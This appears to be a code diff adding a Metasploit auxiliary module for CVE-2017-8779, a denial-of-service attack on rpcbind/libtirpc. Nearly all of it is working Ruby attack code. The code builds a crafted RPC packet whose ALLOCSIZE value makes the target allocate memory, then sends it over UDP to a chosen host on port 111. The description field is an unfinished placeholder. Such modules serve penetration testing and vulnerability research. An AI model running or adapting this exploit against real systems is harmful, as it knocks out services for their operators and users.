|
| 1 | +## |
| 2 | +# This module requires Metasploit: http://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +class MetasploitModule < Msf::Auxiliary |
| 7 | + |
| 8 | + include Msf::Auxiliary::Dos |
| 9 | + # include Exploit::Remote::Udp |
| 10 | + |
| 11 | + def initialize(info={}) |
| 12 | + super(update_info(info, |
| 13 | + 'Name' => 'RPC DoS targeting *nix rpcbind/libtirpc', |
| 14 | + 'Description' => %q{ |
| 15 | + This module XXX. |
| 16 | + }, |
| 17 | + 'Author' => |
| 18 | + [ |
| 19 | + 'guidovranken', # original code |
| 20 | + 'Pearce Barry <pearce_barry[at]rapid7.com>' # Metasploit module |
| 21 | + ], |
| 22 | + 'License' => MSF_LICENSE, |
| 23 | + 'References' => [ |
| 24 | + [ 'CVE', '2017-8779' ], |
| 25 | + [ 'BID', '98325' ], |
| 26 | + [ 'URL', 'http://openwall.com/lists/oss-security/2017/05/03/12' ] |
| 27 | + ], |
| 28 | + 'Disclosure Date' => 'May 03 2017')) |
| 29 | + |
| 30 | + register_options([ |
| 31 | + Opt::RPORT(111), |
| 32 | + OptAddress.new('RHOST', [true, 'RPC server target']), |
| 33 | + OptInt.new('ALLOCSIZE', [true, 'Number of bytes to allocate']) |
| 34 | + ]) |
| 35 | + end |
| 36 | + |
| 37 | + |
| 38 | + |
| 39 | + def run |
| 40 | + require 'socket' |
| 41 | + |
| 42 | + pkt = [0].pack('N') # xid |
| 43 | + pkt << [0].pack('N') # message type CALL |
| 44 | + pkt << [2].pack('N') # RPC version 2 |
| 45 | + pkt << [100000].pack('N') # Program |
| 46 | + pkt << [4].pack('N') # Program version |
| 47 | + pkt << [9].pack('N') # Procedure |
| 48 | + pkt << [0].pack('N') # Credentials AUTH_NULL |
| 49 | + pkt << [0].pack('N') # Credentials length 0 |
| 50 | + pkt << [0].pack('N') # Credentials AUTH_NULL |
| 51 | + pkt << [0].pack('N') # Credentials length 0 |
| 52 | + pkt << [0].pack('N') # Program: 0 |
| 53 | + pkt << [0].pack('N') # Ver |
| 54 | + pkt << [4].pack('N') # Proc |
| 55 | + pkt << [4].pack('N') # Argument length |
| 56 | + pkt << [datastore['ALLOCSIZE']].pack('N') # Payload |
| 57 | + |
| 58 | + s = UDPSocket.new |
| 59 | + s.send(pkt, 0, datastore['RHOST'], datastore['RPORT']) |
| 60 | + |
| 61 | + sleep 1.5 |
| 62 | + |
| 63 | + begin |
| 64 | + s.recvfrom_nonblock(9000) |
| 65 | + rescue |
| 66 | + print_error("No response from server received.") |
| 67 | + return |
| 68 | + end |
| 69 | + |
| 70 | + print_good("Allocated #{datastore['ALLOCSIZE']} bytes at host #{datastore['RHOST']}:#{datastore['RPORT']}") |
| 71 | + end |
| 72 | +end |
0 commit comments